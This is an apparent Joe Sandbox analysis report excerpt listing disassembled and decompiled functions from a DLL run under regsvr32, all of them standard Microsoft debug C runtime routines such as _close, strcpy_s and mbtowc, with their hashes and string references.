Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: a7736ae2d77719cf8dd033ea8b01e94f48993e2d03ef0b45187a851eb092d1a4
Instruction ID: afb1911e3f8ba5d231fe6bb84017af69377ca2ae416e2d0ba459e573d29e7d3a
Opcode Fuzzy Hash: a7736ae2d77719cf8dd033ea8b01e94f48993e2d03ef0b45187a851eb092d1a4
Instruction Fuzzy Hash: 0BF1C87260CBC186E7B1CB25E8947AEB7E4E384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879
_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5
(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a09a08489fcfa17bf46b80f7bccdd7250e5da7b82fa925d7c8e71ba256914943
Instruction ID: 498ed5c56ac792471b44c6766317b9cb43c4201113c662a7075568a19f5733c1
Opcode Fuzzy Hash: a09a08489fcfa17bf46b80f7bccdd7250e5da7b82fa925d7c8e71ba256914943
Instruction Fuzzy Hash: 0E617B72A1D64686EB909B28EC4176E73E1F780354F608225E6DE47AF5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC
_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 31e6f22f94a5a332f8c1da309800fd96aa675ce4ff76475566f44e9374f3c210
Instruction ID: b3e96d9819a7910145883aa8d7fc7971cc91d039debb2f2cb13e78280c4cdede
Opcode Fuzzy Hash: 31e6f22f94a5a332f8c1da309800fd96aa675ce4ff76475566f44e9374f3c210
Instruction Fuzzy Hash: 2F516B71A186468AE7909B69EC8176E73E2F380758F608621E2DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: 66637f3263954389c4faca3e64166f48d89120a2e65f09c6e12548c2e7ae54a3
Instruction ID: a75f166a54a10c782c9e5936c38e4db03d9624ec2b4b775b3bb68b676b0f6840
Opcode Fuzzy Hash: 66637f3263954389c4faca3e64166f48d89120a2e65f09c6e12548c2e7ae54a3
Instruction Fuzzy Hash: 38C10D72A0CAC286E7B19B55E8447AFB7E0F384346F604125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457
Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 399a9458fa01abea37a4ed0ff3a6319967a0ea4a6e471ce5995f41885ca75c61
Instruction ID: 4ea1f2baf56cb797ddf9edfbcd87f382fde430b96fb790801732b827a7e5f6be
Opcode Fuzzy Hash: 399a9458fa01abea37a4ed0ff3a6319967a0ea4a6e471ce5995f41885ca75c61
Instruction Fuzzy Hash: 02023E32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 2dc7b4f9e3ef16c46f4c156222616883407f9e483511c99d0d30e534b880734d
Instruction ID: be767cf373226b306d5cc4d655a52930cc25a89ebff261bf8d2d4167a1edb2b7
Opcode Fuzzy Hash: 2dc7b4f9e3ef16c46f4c156222616883407f9e483511c99d0d30e534b880734d
Instruction Fuzzy Hash: 48F1DA72A0CAC18AE7A08B55E8407AFB7E0F7C5756F600126E6CD87AA9DB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA
Buffer is too small, xrefs: 000007FEF9D31934
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6
wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD
(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 5aefbc8f1d73eb7cfc6612018eacf67af3b13798598c0c57764cabda027a92b3
Instruction ID: 4116fe211f4ce550b5db6f2beda9aad957ea61137f05a11edd57804cc24ee7cf
Opcode Fuzzy Hash: 5aefbc8f1d73eb7cfc6612018eacf67af3b13798598c0c57764cabda027a92b3
Instruction Fuzzy Hash: A4C14B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA5DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A
Buffer is too small, xrefs: 000007FEF9D2D775
strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7
(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: 3a73121abd8cd92c4d24009a6c05b63160c008938b58f8c852a28b4bc1f5a78a
Instruction ID: 83c83e0f84f27b13c419585d1e3107a86c1b002b2dbb410691c45864cb0988c3
Opcode Fuzzy Hash: 3a73121abd8cd92c4d24009a6c05b63160c008938b58f8c852a28b4bc1f5a78a
Instruction Fuzzy Hash: 3AC13D3190DB8A85EBA08B19E84436EA3E0F386794F614135D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: c1274c363911339d648a95bedd1909bdcc319eff7e23c8a9712c300a8ba53b59
Instruction ID: e2321dfd7d4ce97f8464894d094ef21069f5ab619bd2151a5dc0ee19d75eafe6
Opcode Fuzzy Hash: c1274c363911339d648a95bedd1909bdcc319eff7e23c8a9712c300a8ba53b59
Instruction Fuzzy Hash: A9913B32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
Data: <%s> %s, xrefs: 000007FEF9D26E49
_printMemBlockData, xrefs: 000007FEF9D26DED
(*_errno()), xrefs: 000007FEF9D26DF9
, xrefs: 000007FEF9D26D3E
%.2X , xrefs: 000007FEF9D26DAD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
